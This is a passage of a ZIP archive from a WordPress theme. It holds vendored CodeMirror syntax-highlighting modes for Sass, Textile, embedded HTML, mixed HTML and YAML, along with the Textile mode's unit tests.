      if (stream.match(/^url/) && stream.peek() === "(") {
        state.tokenizer = urlTokens;
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "atom";
      }

      // Variables
      if (ch === "$") {
        stream.next();
        stream.eatWhile(/[\w-]/);
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "variable-3";
      }

      // bang character for !important, !default, etc.
      if (ch === "!") {
        stream.next();
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return stream.match(/^[\w]+/) ? "keyword": "operator";
      }

      if (stream.match(opRegexp)){
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "operator";
      }

      // attributes
      if (stream.eatWhile(/[\w-]/)) {
        if(!stream.peek()){
          state.cursorHalf = 0;
        }
        return "attribute";
      }

      //stream.eatSpace();
      if(!stream.peek()){
        state.cursorHalf = 0;
        return null;
      }

    } // else ends here

    if (stream.match(opRegexp))
      return "operator";

    // If we haven't returned by now, we move 1 character
    // and return an error
    stream.next();
    return null;
  }

  function tokenLexer(stream, state) {
    if (stream.sol()) state.indentCount = 0;
    var style = state.tokenizer(stream, state);
    var current = stream.current();

    if (current === "@return" || current === "}"){
      dedent(state);
    }

    if (style !== null) {
      var startOfToken = stream.pos - current.length;

      var withCurrentIndent = startOfToken + (config.indentUnit * state.indentCount);

      var newScopes = [];

      for (var i = 0; i < state.scopes.length; i++) {
        var scope = state.scopes[i];

        if (scope.offset <= withCurrentIndent)
          newScopes.push(scope);
      }

      state.scopes = newScopes;
    }


    return style;
  }

  return {
    startState: function() {
      return {
        tokenizer: tokenBase,
        scopes: [{offset: 0, type: "sass"}],
        indentCount: 0,
        cursorHalf: 0,  // cursor half tells us if cursor lies after (1)
                        // or before (0) colon (well... more or less)
        definedVars: [],
        definedMixins: []
      };
    },
    token: function(stream, state) {
      var style = tokenLexer(stream, state);

      state.lastToken = { style: style, content: stream.current() };

      return style;
    },

    indent: function(state) {
      return state.scopes[0].offset;
    }
  };
});

CodeMirror.defineMIME("text/x-sass", "sass");

});
PK     N\9F6  6  L  inc/customizer/framework/assets/js/vendor/codemirror/mode/textile/textile.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") { // CommonJS
    mod(require("../../lib/codemirror"));
  } else if (typeof define == "function" && define.amd) { // AMD
    define(["../../lib/codemirror"], mod);
  } else { // Plain browser env
    mod(CodeMirror);
  }
})(function(CodeMirror) {
  "use strict";

  var TOKEN_STYLES = {
    addition: "positive",
    attributes: "attribute",
    bold: "strong",
    cite: "keyword",
    code: "atom",
    definitionList: "number",
    deletion: "negative",
    div: "punctuation",
    em: "em",
    footnote: "variable",
    footCite: "qualifier",
    header: "header",
    html: "comment",
    image: "string",
    italic: "em",
    link: "link",
    linkDefinition: "link",
    list1: "variable-2",
    list2: "variable-3",
    list3: "keyword",
    notextile: "string-2",
    pre: "operator",
    p: "property",
    quote: "bracket",
    span: "quote",
    specialChar: "tag",
    strong: "strong",
    sub: "builtin",
    sup: "builtin",
    table: "variable-3",
    tableHeading: "operator"
  };

  function startNewLine(stream, state) {
    state.mode = Modes.newLayout;
    state.tableHeading = false;

    if (state.layoutType === "definitionList" && state.spanningLayout &&
        stream.match(RE("definitionListEnd"), false))
      state.spanningLayout = false;
  }

  function handlePhraseModifier(stream, state, ch) {
    if (ch === "_") {
      if (stream.eat("_"))
        return togglePhraseModifier(stream, state, "italic", /__/, 2);
      else
        return togglePhraseModifier(stream, state, "em", /_/, 1);
    }

    if (ch === "*") {
      if (stream.eat("*")) {
        return togglePhraseModifier(stream, state, "bold", /\*\*/, 2);
      }
      return togglePhraseModifier(stream, state, "strong", /\*/, 1);
    }

    if (ch === "[") {
      if (stream.match(/\d+\]/)) state.footCite = true;
      return tokenStyles(state);
    }

    if (ch === "(") {
      var spec = stream.match(/^(r|tm|c)\)/);
      if (spec)
        return tokenStylesWith(state, TOKEN_STYLES.specialChar);
    }

    if (ch === "<" && stream.match(/(\w+)[^>]+>[^<]+<\/\1>/))
      return tokenStylesWith(state, TOKEN_STYLES.html);

    if (ch === "?" && stream.eat("?"))
      return togglePhraseModifier(stream, state, "cite", /\?\?/, 2);

    if (ch === "=" && stream.eat("="))
      return togglePhraseModifier(stream, state, "notextile", /==/, 2);

    if (ch === "-" && !stream.eat("-"))
      return togglePhraseModifier(stream, state, "deletion", /-/, 1);

    if (ch === "+")
      return togglePhraseModifier(stream, state, "addition", /\+/, 1);

    if (ch === "~")
      return togglePhraseModifier(stream, state, "sub", /~/, 1);

    if (ch === "^")
      return togglePhraseModifier(stream, state, "sup", /\^/, 1);

    if (ch === "%")
      return togglePhraseModifier(stream, state, "span", /%/, 1);

    if (ch === "@")
      return togglePhraseModifier(stream, state, "code", /@/, 1);

    if (ch === "!") {
      var type = togglePhraseModifier(stream, state, "image", /(?:\([^\)]+\))?!/, 1);
      stream.match(/^:\S+/); // optional Url portion
      return type;
    }
    return tokenStyles(state);
  }

  function togglePhraseModifier(stream, state, phraseModifier, closeRE, openSize) {
    var charBefore = stream.pos > openSize ? stream.string.charAt(stream.pos - openSize - 1) : null;
    var charAfter = stream.peek();
    if (state[phraseModifier]) {
      if ((!charAfter || /\W/.test(charAfter)) && charBefore && /\S/.test(charBefore)) {
        var type = tokenStyles(state);
        state[phraseModifier] = false;
        return type;
      }
    } else if ((!charBefore || /\W/.test(charBefore)) && charAfter && /\S/.test(charAfter) &&
               stream.match(new RegExp("^.*\\S" + closeRE.source + "(?:\\W|$)"), false)) {
      state[phraseModifier] = true;
      state.mode = Modes.attributes;
    }
    return tokenStyles(state);
  };

  function tokenStyles(state) {
    var disabled = textileDisabled(state);
    if (disabled) return disabled;

    var styles = [];
    if (state.layoutType) styles.push(TOKEN_STYLES[state.layoutType]);

    styles = styles.concat(activeStyles(
      state, "addition", "bold", "cite", "code", "deletion", "em", "footCite",
      "image", "italic", "link", "span", "strong", "sub", "sup", "table", "tableHeading"));

    if (state.layoutType === "header")
      styles.push(TOKEN_STYLES.header + "-" + state.header);

    return styles.length ? styles.join(" ") : null;
  }

  function textileDisabled(state) {
    var type = state.layoutType;

    switch(type) {
    case "notextile":
    case "code":
    case "pre":
      return TOKEN_STYLES[type];
    default:
      if (state.notextile)
        return TOKEN_STYLES.notextile + (type ? (" " + TOKEN_STYLES[type]) : "");
      return null;
    }
  }

  function tokenStylesWith(state, extraStyles) {
    var disabled = textileDisabled(state);
    if (disabled) return disabled;

    var type = tokenStyles(state);
    if (extraStyles)
      return type ? (type + " " + extraStyles) : extraStyles;
    else
      return type;
  }

  function activeStyles(state) {
    var styles = [];
    for (var i = 1; i < arguments.length; ++i) {
      if (state[arguments[i]])
        styles.push(TOKEN_STYLES[arguments[i]]);
    }
    return styles;
  }

  function blankLine(state) {
    var spanningLayout = state.spanningLayout, type = state.layoutType;

    for (var key in state) if (state.hasOwnProperty(key))
      delete state[key];

    state.mode = Modes.newLayout;
    if (spanningLayout) {
      state.layoutType = type;
      state.spanningLayout = true;
    }
  }

  var REs = {
    cache: {},
    single: {
      bc: "bc",
      bq: "bq",
      definitionList: /- [^(?::=)]+:=+/,
      definitionListEnd: /.*=:\s*$/,
      div: "div",
      drawTable: /\|.*\|/,
      foot: /fn\d+/,
      header: /h[1-6]/,
      html: /\s*<(?:\/)?(\w+)(?:[^>]+)?>(?:[^<]+<\/\1>)?/,
      link: /[^"]+":\S/,
      linkDefinition: /\[[^\s\]]+\]\S+/,
      list: /(?:#+|\*+)/,
      notextile: "notextile",
      para: "p",
      pre: "pre",
      table: "table",
      tableCellAttributes: /[\/\\]\d+/,
      tableHeading: /\|_\./,
      tableText: /[^"_\*\[\(\?\+~\^%@|-]+/,
      text: /[^!"_=\*\[\(<\?\+~\^%@-]+/
    },
    attributes: {
      align: /(?:<>|<|>|=)/,
      selector: /\([^\(][^\)]+\)/,
      lang: /\[[^\[\]]+\]/,
      pad: /(?:\(+|\)+){1,2}/,
      css: /\{[^\}]+\}/
    },
    createRe: function(name) {
      switch (name) {
      case "drawTable":
        return REs.makeRe("^", REs.single.drawTable, "$");
      case "html":
        return REs.makeRe("^", REs.single.html, "(?:", REs.single.html, ")*", "$");
      case "linkDefinition":
        return REs.makeRe("^", REs.single.linkDefinition, "$");
      case "listLayout":
        return REs.makeRe("^", REs.single.list, RE("allAttributes"), "*\\s+");
      case "tableCellAttributes":
        return REs.makeRe("^", REs.choiceRe(REs.single.tableCellAttributes,
                                            RE("allAttributes")), "+\\.");
      case "type":
        return REs.makeRe("^", RE("allTypes"));
      case "typeLayout":
        return REs.makeRe("^", RE("allTypes"), RE("allAttributes"),
                          "*\\.\\.?", "(\\s+|$)");
      case "attributes":
        return REs.makeRe("^", RE("allAttributes"), "+");

      case "allTypes":
        return REs.choiceRe(REs.single.div, REs.single.foot,
                            REs.single.header, REs.single.bc, REs.single.bq,
                            REs.single.notextile, REs.single.pre, REs.single.table,
                            REs.single.para);

      case "allAttributes":
        return REs.choiceRe(REs.attributes.selector, REs.attributes.css,
                            REs.attributes.lang, REs.attributes.align, REs.attributes.pad);

      default:
        return REs.makeRe("^", REs.single[name]);
      }
    },
    makeRe: function() {
      var pattern = "";
      for (var i = 0; i < arguments.length; ++i) {
        var arg = arguments[i];
        pattern += (typeof arg === "string") ? arg : arg.source;
      }
      return new RegExp(pattern);
    },
    choiceRe: function() {
      var parts = [arguments[0]];
      for (var i = 1; i < arguments.length; ++i) {
        parts[i * 2 - 1] = "|";
        parts[i * 2] = arguments[i];
      }

      parts.unshift("(?:");
      parts.push(")");
      return REs.makeRe.apply(null, parts);
    }
  };

  function RE(name) {
    return (REs.cache[name] || (REs.cache[name] = REs.createRe(name)));
  }

  var Modes = {
    newLayout: function(stream, state) {
      if (stream.match(RE("typeLayout"), false)) {
        state.spanningLayout = false;
        return (state.mode = Modes.blockType)(stream, state);
      }
      var newMode;
      if (!textileDisabled(state)) {
        if (stream.match(RE("listLayout"), false))
          newMode = Modes.list;
        else if (stream.match(RE("drawTable"), false))
          newMode = Modes.table;
        else if (stream.match(RE("linkDefinition"), false))
          newMode = Modes.linkDefinition;
        else if (stream.match(RE("definitionList")))
          newMode = Modes.definitionList;
        else if (stream.match(RE("html"), false))
          newMode = Modes.html;
      }
      return (state.mode = (newMode || Modes.text))(stream, state);
    },

    blockType: function(stream, state) {
      var match, type;
      state.layoutType = null;

      if (match = stream.match(RE("type")))
        type = match[0];
      else
        return (state.mode = Modes.text)(stream, state);

      if (match = type.match(RE("header"))) {
        state.layoutType = "header";
        state.header = parseInt(match[0][1]);
      } else if (type.match(RE("bq"))) {
        state.layoutType = "quote";
      } else if (type.match(RE("bc"))) {
        state.layoutType = "code";
      } else if (type.match(RE("foot"))) {
        state.layoutType = "footnote";
      } else if (type.match(RE("notextile"))) {
        state.layoutType = "notextile";
      } else if (type.match(RE("pre"))) {
        state.layoutType = "pre";
      } else if (type.match(RE("div"))) {
        state.layoutType = "div";
      } else if (type.match(RE("table"))) {
        state.layoutType = "table";
      }

      state.mode = Modes.attributes;
      return tokenStyles(state);
    },

    text: function(stream, state) {
      if (stream.match(RE("text"))) return tokenStyles(state);

      var ch = stream.next();
      if (ch === '"')
        return (state.mode = Modes.link)(stream, state);
      return handlePhraseModifier(stream, state, ch);
    },

    attributes: function(stream, state) {
      state.mode = Modes.layoutLength;

      if (stream.match(RE("attributes")))
        return tokenStylesWith(state, TOKEN_STYLES.attributes);
      else
        return tokenStyles(state);
    },

    layoutLength: function(stream, state) {
      if (stream.eat(".") && stream.eat("."))
        state.spanningLayout = true;

      state.mode = Modes.text;
      return tokenStyles(state);
    },

    list: function(stream, state) {
      var match = stream.match(RE("list"));
      state.listDepth = match[0].length;
      var listMod = (state.listDepth - 1) % 3;
      if (!listMod)
        state.layoutType = "list1";
      else if (listMod === 1)
        state.layoutType = "list2";
      else
        state.layoutType = "list3";

      state.mode = Modes.attributes;
      return tokenStyles(state);
    },

    link: function(stream, state) {
      state.mode = Modes.text;
      if (stream.match(RE("link"))) {
        stream.match(/\S+/);
        return tokenStylesWith(state, TOKEN_STYLES.link);
      }
      return tokenStyles(state);
    },

    linkDefinition: function(stream, state) {
      stream.skipToEnd();
      return tokenStylesWith(state, TOKEN_STYLES.linkDefinition);
    },

    definitionList: function(stream, state) {
      stream.match(RE("definitionList"));

      state.layoutType = "definitionList";

      if (stream.match(/\s*$/))
        state.spanningLayout = true;
      else
        state.mode = Modes.attributes;

      return tokenStyles(state);
    },

    html: function(stream, state) {
      stream.skipToEnd();
      return tokenStylesWith(state, TOKEN_STYLES.html);
    },

    table: function(stream, state) {
      state.layoutType = "table";
      return (state.mode = Modes.tableCell)(stream, state);
    },

    tableCell: function(stream, state) {
      if (stream.match(RE("tableHeading")))
        state.tableHeading = true;
      else
        stream.eat("|");

      state.mode = Modes.tableCellAttributes;
      return tokenStyles(state);
    },

    tableCellAttributes: function(stream, state) {
      state.mode = Modes.tableText;

      if (stream.match(RE("tableCellAttributes")))
        return tokenStylesWith(state, TOKEN_STYLES.attributes);
      else
        return tokenStyles(state);
    },

    tableText: function(stream, state) {
      if (stream.match(RE("tableText")))
        return tokenStyles(state);

      if (stream.peek() === "|") { // end of cell
        state.mode = Modes.tableCell;
        return tokenStyles(state);
      }
      return handlePhraseModifier(stream, state, stream.next());
    }
  };

  CodeMirror.defineMode("textile", function() {
    return {
      startState: function() {
        return { mode: Modes.newLayout };
      },
      token: function(stream, state) {
        if (stream.sol()) startNewLine(stream, state);
        return state.mode(stream, state);
      },
      blankLine: blankLine
    };
  });

  CodeMirror.defineMIME("text/x-textile", "textile");
});
PK     N\	 $  $  I  inc/customizer/framework/assets/js/vendor/codemirror/mode/textile/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({tabSize: 4}, 'textile');
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }

  MT('simpleParagraphs',
      'Some text.',
      '',
      'Some more text.');

  /*
   * Phrase Modifiers
   */

  MT('em',
      'foo [em _bar_]');

  MT('emBoogus',
      'code_mirror');

  MT('strong',
      'foo [strong *bar*]');

  MT('strongBogus',
      '3 * 3 = 9');

  MT('italic',
      'foo [em __bar__]');

  MT('italicBogus',
      'code__mirror');

  MT('bold',
      'foo [strong **bar**]');

  MT('boldBogus',
      '3 ** 3 = 27');

  MT('simpleLink',
      '[link "CodeMirror":http://codemirror.net]');

  MT('referenceLink',
      '[link "CodeMirror":code_mirror]',
      'Normal Text.',
      '[link [[code_mirror]]http://codemirror.net]');

  MT('footCite',
      'foo bar[qualifier [[1]]]');

  MT('footCiteBogus',
      'foo bar[[1a2]]');

  MT('special-characters',
          'Registered [tag (r)], ' +
          'Trademark [tag (tm)], and ' +
          'Copyright [tag (c)] 2008');

  MT('cite',
      "A book is [keyword ??The Count of Monte Cristo??] by Dumas.");

  MT('additionAndDeletion',
      'The news networks declared [negative -Al Gore-] ' +
        '[positive +George W. Bush+] the winner in Florida.');

  MT('subAndSup',
      'f(x, n) = log [builtin ~4~] x [builtin ^n^]');

  MT('spanAndCode',
      'A [quote %span element%] and [atom @code element@]');

  MT('spanBogus',
      'Percentage 25% is not a span.');

  MT('citeBogus',
      'Question? is not a citation.');

  MT('codeBogus',
      'user@example.com');

  MT('subBogus',
      '~username');

  MT('supBogus',
      'foo ^ bar');

  MT('deletionBogus',
      '3 - 3 = 0');

  MT('additionBogus',
      '3 + 3 = 6');

  MT('image',
      'An image: [string !http://www.example.com/image.png!]');

  MT('imageWithAltText',
      'An image: [string !http://www.example.com/image.png (Alt Text)!]');

  MT('imageWithUrl',
      'An image: [string !http://www.example.com/image.png!:http://www.example.com/]');

  /*
   * Headers
   */

  MT('h1',
      '[header&header-1 h1. foo]');

  MT('h2',
      '[header&header-2 h2. foo]');

  MT('h3',
      '[header&header-3 h3. foo]');

  MT('h4',
      '[header&header-4 h4. foo]');

  MT('h5',
      '[header&header-5 h5. foo]');

  MT('h6',
      '[header&header-6 h6. foo]');

  MT('h7Bogus',
      'h7. foo');

  MT('multipleHeaders',
      '[header&header-1 h1. Heading 1]',
      '',
      'Some text.',
      '',
      '[header&header-2 h2. Heading 2]',
      '',
      'More text.');

  MT('h1inline',
      '[header&header-1 h1. foo ][header&header-1&em _bar_][header&header-1  baz]');

  /*
   * Lists
   */

  MT('ul',
      'foo',
      'bar',
      '',
      '[variable-2 * foo]',
      '[variable-2 * bar]');

  MT('ulNoBlank',
      'foo',
      'bar',
      '[variable-2 * foo]',
      '[variable-2 * bar]');

  MT('ol',
      'foo',
      'bar',
      '',
      '[variable-2 # foo]',
      '[variable-2 # bar]');

  MT('olNoBlank',
      'foo',
      'bar',
      '[variable-2 # foo]',
      '[variable-2 # bar]');

  MT('ulFormatting',
      '[variable-2 * ][variable-2&em _foo_][variable-2  bar]',
      '[variable-2 * ][variable-2&strong *][variable-2&em&strong _foo_]' +
        '[variable-2&strong *][variable-2  bar]',
      '[variable-2 * ][variable-2&strong *foo*][variable-2  bar]');

  MT('olFormatting',
      '[variable-2 # ][variable-2&em _foo_][variable-2  bar]',
      '[variable-2 # ][variable-2&strong *][variable-2&em&strong _foo_]' +
        '[variable-2&strong *][variable-2  bar]',
      '[variable-2 # ][variable-2&strong *foo*][variable-2  bar]');

  MT('ulNested',
      '[variable-2 * foo]',
      '[variable-3 ** bar]',
      '[keyword *** bar]',
      '[variable-2 **** bar]',
      '[variable-3 ** bar]');

  MT('olNested',
      '[variable-2 # foo]',
      '[variable-3 ## bar]',
      '[keyword ### bar]',
      '[variable-2 #### bar]',
      '[variable-3 ## bar]');

  MT('ulNestedWithOl',
      '[variable-2 * foo]',
      '[variable-3 ## bar]',
      '[keyword *** bar]',
      '[variable-2 #### bar]',
      '[variable-3 ** bar]');

  MT('olNestedWithUl',
      '[variable-2 # foo]',
      '[variable-3 ** bar]',
      '[keyword ### bar]',
      '[variable-2 **** bar]',
      '[variable-3 ## bar]');

  MT('definitionList',
      '[number - coffee := Hot ][number&em _and_][number  black]',
      '',
      'Normal text.');

  MT('definitionListSpan',
      '[number - coffee :=]',
      '',
      '[number Hot ][number&em _and_][number  black =:]',
      '',
      'Normal text.');

  MT('boo',
      '[number - dog := woof woof]',
      '[number - cat := meow meow]',
      '[number - whale :=]',
      '[number Whale noises.]',
      '',
      '[number Also, ][number&em _splashing_][number . =:]');

  /*
   * Attributes
   */

  MT('divWithAttribute',
      '[punctuation div][punctuation&attribute (#my-id)][punctuation . foo bar]');

  MT('divWithAttributeAnd2emRightPadding',
      '[punctuation div][punctuation&attribute (#my-id)((][punctuation . foo bar]');

  MT('divWithClassAndId',
      '[punctuation div][punctuation&attribute (my-class#my-id)][punctuation . foo bar]');

  MT('paragraphWithCss',
      'p[attribute {color:red;}]. foo bar');

  MT('paragraphNestedStyles',
      'p. [strong *foo ][strong&em _bar_][strong *]');

  MT('paragraphWithLanguage',
      'p[attribute [[fr]]]. Parlez-vous français?');

  MT('paragraphLeftAlign',
      'p[attribute <]. Left');

  MT('paragraphRightAlign',
      'p[attribute >]. Right');

  MT('paragraphRightAlign',
      'p[attribute =]. Center');

  MT('paragraphJustified',
      'p[attribute <>]. Justified');

  MT('paragraphWithLeftIndent1em',
      'p[attribute (]. Left');

  MT('paragraphWithRightIndent1em',
      'p[attribute )]. Right');

  MT('paragraphWithLeftIndent2em',
      'p[attribute ((]. Left');

  MT('paragraphWithRightIndent2em',
      'p[attribute ))]. Right');

  MT('paragraphWithLeftIndent3emRightIndent2em',
      'p[attribute ((())]. Right');

  MT('divFormatting',
      '[punctuation div. ][punctuation&strong *foo ]' +
        '[punctuation&strong&em _bar_][punctuation&strong *]');

  MT('phraseModifierAttributes',
      'p[attribute (my-class)]. This is a paragraph that has a class and' +
      ' this [em _][em&attribute (#special-phrase)][em emphasized phrase_]' +
      ' has an id.');

  MT('linkWithClass',
      '[link "(my-class). This is a link with class":http://redcloth.org]');

  /*
   * Layouts
   */

  MT('paragraphLayouts',
      'p. This is one paragraph.',
      '',
      'p. This is another.');

  MT('div',
      '[punctuation div. foo bar]');

  MT('pre',
      '[operator pre. Text]');

  MT('bq.',
      '[bracket bq. foo bar]',
      '',
      'Normal text.');

  MT('footnote',
      '[variable fn123. foo ][variable&strong *bar*]');

  /*
   * Spanning Layouts
   */

  MT('bq..ThenParagraph',
      '[bracket bq.. foo bar]',
      '',
      '[bracket More quote.]',
      'p. Normal Text');

  MT('bq..ThenH1',
      '[bracket bq.. foo bar]',
      '',
      '[bracket More quote.]',
      '[header&header-1 h1. Header Text]');

  MT('bc..ThenParagraph',
      '[atom bc.. # Some ruby code]',
      '[atom obj = {foo: :bar}]',
      '[atom puts obj]',
      '',
      '[atom obj[[:love]] = "*love*"]',
      '[atom puts obj.love.upcase]',
      '',
      'p. Normal text.');

  MT('fn1..ThenParagraph',
      '[variable fn1.. foo bar]',
      '',
      '[variable More.]',
      'p. Normal Text');

  MT('pre..ThenParagraph',
      '[operator pre.. foo bar]',
      '',
      '[operator More.]',
      'p. Normal Text');

  /*
   * Tables
   */

  MT('table',
      '[variable-3&operator |_. name |_. age|]',
      '[variable-3 |][variable-3&strong *Walter*][variable-3 |   5  |]',
      '[variable-3 |Florence|   6  |]',
      '',
      'p. Normal text.');

  MT('tableWithAttributes',
      '[variable-3&operator |_. name |_. age|]',
      '[variable-3 |][variable-3&attribute /2.][variable-3  Jim |]',
      '[variable-3 |][variable-3&attribute \\2{color: red}.][variable-3  Sam |]');

  /*
   * HTML
   */

  MT('html',
      '[comment <div id="wrapper">]',
      '[comment <section id="introduction">]',
      '',
      '[header&header-1 h1. Welcome]',
      '',
      '[variable-2 * Item one]',
      '[variable-2 * Item two]',
      '',
      '[comment <a href="http://example.com">Example</a>]',
      '',
      '[comment </section>]',
      '[comment </div>]');

  MT('inlineHtml',
      'I can use HTML directly in my [comment <span class="youbetcha">Textile</span>].');

  /*
   * No-Textile
   */

  MT('notextile',
    '[string-2 notextile. *No* formatting]');

  MT('notextileInline',
      'Use [string-2 ==*asterisks*==] for [strong *strong*] text.');

  MT('notextileWithPre',
      '[operator pre. *No* formatting]');

  MT('notextileWithSpanningPre',
      '[operator pre.. *No* formatting]',
      '',
      '[operator *No* formatting]');

  /* Only toggling phrases between non-word chars. */

  MT('phrase-in-word',
     'foo_bar_baz');

  MT('phrase-non-word',
     '[negative -x-] aaa-bbb ccc-ddd [negative -eee-] fff [negative -ggg-]');

  MT('phrase-lone-dash',
     'foo - bar - baz');
})();
PK     N\dL    V  inc/customizer/framework/assets/js/vendor/codemirror/mode/htmlembedded/htmlembedded.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../htmlmixed/htmlmixed"),
        require("../../addon/mode/multiplex"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../htmlmixed/htmlmixed",
            "../../addon/mode/multiplex"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("htmlembedded", function(config, parserConfig) {
    return CodeMirror.multiplexingMode(CodeMirror.getMode(config, "htmlmixed"), {
      open: parserConfig.open || parserConfig.scriptStartRegex || "<%",
      close: parserConfig.close || parserConfig.scriptEndRegex || "%>",
      mode: CodeMirror.getMode(config, parserConfig.scriptingModeSpec)
    });
  }, "htmlmixed");

  CodeMirror.defineMIME("application/x-ejs", {name: "htmlembedded", scriptingModeSpec:"javascript"});
  CodeMirror.defineMIME("application/x-aspx", {name: "htmlembedded", scriptingModeSpec:"text/x-csharp"});
  CodeMirror.defineMIME("application/x-jsp", {name: "htmlembedded", scriptingModeSpec:"text/x-java"});
  CodeMirror.defineMIME("application/x-erb", {name: "htmlembedded", scriptingModeSpec:"ruby"});
});
PK     N\Y    P  inc/customizer/framework/assets/js/vendor/codemirror/mode/htmlmixed/htmlmixed.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../xml/xml"), require("../javascript/javascript"), require("../css/css"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../xml/xml", "../javascript/javascript", "../css/css"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var defaultTags = {
    script: [
      ["lang", /(javascript|babel)/i, "javascript"],
      ["type", /^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^$/i, "javascript"],
      ["type", /./, "text/plain"],
      [null, null, "javascript"]
    ],
    style:  [
      ["lang", /^css$/i, "css"],
      ["type", /^(text\/)?(x-)?(stylesheet|css)$/i, "css"],
      ["type", /./, "text/plain"],
      [null, null, "css"]
    ]
  };

  function maybeBackup(stream, pat, style) {
    var cur = stream.current(), close = cur.search(pat);
    if (close > -1) {
      stream.backUp(cur.length - close);
    } else if (cur.match(/<\/?$/)) {
      stream.backUp(cur.length);
      if (!stream.match(pat, false)) stream.match(cur);
    }
    return style;
  }

  var attrRegexpCache = {};
  function getAttrRegexp(attr) {
    var regexp = attrRegexpCache[attr];
    if (regexp) return regexp;
    return attrRegexpCache[attr] = new RegExp("\\s+" + attr + "\\s*=\\s*('|\")?([^'\"]+)('|\")?\\s*");
  }

  function getAttrValue(stream, attr) {
    var pos = stream.pos, match;
    while (pos >= 0 && stream.string.charAt(pos) !== "<") pos--;
    if (pos < 0) return pos;
    if (match = stream.string.slice(pos, stream.pos).match(getAttrRegexp(attr)))
      return match[2];
    return "";
  }

  function getTagRegexp(tagName, anchored) {
    return new RegExp((anchored ? "^" : "") + "<\/\s*" + tagName + "\s*>", "i");
  }

  function addTags(from, to) {
    for (var tag in from) {
      var dest = to[tag] || (to[tag] = []);
      var source = from[tag];
      for (var i = source.length - 1; i >= 0; i--)
        dest.unshift(source[i])
    }
  }

  function findMatchingMode(tagInfo, stream) {
    for (var i = 0; i < tagInfo.length; i++) {
      var spec = tagInfo[i];
      if (!spec[0] || spec[1].test(getAttrValue(stream, spec[0]))) return spec[2];
    }
  }

  CodeMirror.defineMode("htmlmixed", function (config, parserConfig) {
    var htmlMode = CodeMirror.getMode(config, {
      name: "xml",
      htmlMode: true,
      multilineTagIndentFactor: parserConfig.multilineTagIndentFactor,
      multilineTagIndentPastTag: parserConfig.multilineTagIndentPastTag
    });

    var tags = {};
    var configTags = parserConfig && parserConfig.tags, configScript = parserConfig && parserConfig.scriptTypes;
    addTags(defaultTags, tags);
    if (configTags) addTags(configTags, tags);
    if (configScript) for (var i = configScript.length - 1; i >= 0; i--)
      tags.script.unshift(["type", configScript[i].matches, configScript[i].mode])

    function html(stream, state) {
      var tagName = state.htmlState.tagName && state.htmlState.tagName.toLowerCase();
      var tagInfo = tagName && tags.hasOwnProperty(tagName) && tags[tagName];

      var style = htmlMode.token(stream, state.htmlState), modeSpec;

      if (tagInfo && /\btag\b/.test(style) && stream.current() === ">" &&
          (modeSpec = findMatchingMode(tagInfo, stream))) {
        var mode = CodeMirror.getMode(config, modeSpec);
        var endTagA = getTagRegexp(tagName, true), endTag = getTagRegexp(tagName, false);
        state.token = function (stream, state) {
          if (stream.match(endTagA, false)) {
            state.token = html;
            state.localState = state.localMode = null;
            return null;
          }
          return maybeBackup(stream, endTag, state.localMode.token(stream, state.localState));
        };
        state.localMode = mode;
        state.localState = CodeMirror.startState(mode, htmlMode.indent(state.htmlState, ""));
      }
      return style;
    };

    return {
      startState: function () {
        var state = htmlMode.startState();
        return {token: html, localMode: null, localState: null, htmlState: state};
      },

      copyState: function (state) {
        var local;
        if (state.localState) {
          local = CodeMirror.copyState(state.localMode, state.localState);
        }
        return {token: state.token, localMode: state.localMode, localState: local,
                htmlState: CodeMirror.copyState(htmlMode, state.htmlState)};
      },

      token: function (stream, state) {
        return state.token(stream, state);
      },

      indent: function (state, textAfter) {
        if (!state.localMode || /^\s*<\//.test(textAfter))
          return htmlMode.indent(state.htmlState, textAfter);
        else if (state.localMode.indent)
          return state.localMode.indent(state.localState, textAfter);
        else
          return CodeMirror.Pass;
      },

      innerMode: function (state) {
        return {state: state.localState || state.htmlState, mode: state.localMode || htmlMode};
      }
    };
  }, "xml", "javascript", "css");

  CodeMirror.defineMIME("text/html", "htmlmixed");
});
PK     N\A3A  A  F  inc/customizer/framework/assets/js/vendor/codemirror/mode/yaml/yaml.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("yaml", function() {

  var cons = ['true', 'false', 'on', 'off', 'yes', 'no'];
  var keywordRegex = new RegExp("\\b(("+cons.join(")|(")+"))$", 'i');

  return {
    token: function(stream, state) {
      var ch = stream.peek();
      var esc = state.escaped;
      state.escaped = false;
      /* comments */
      if (ch == "#" && (stream.pos == 0 || /\s/.test(stream.string.charAt(stream.pos - 1)))) {
        stream.skipToEnd();
        return "comment";
      }

      if (stream.match(/^('([^']|\\.)*'?|"([^"]|\\.)*"?)/))
        return "string";

      if (state.literal && stream.indentation() > state.keyCol) {
        stream.skipToEnd(); return "string";
      } else if (state.literal) { state.literal = false; }
      if (stream.sol()) {
        state.keyCol = 0;
        state.pair = false;
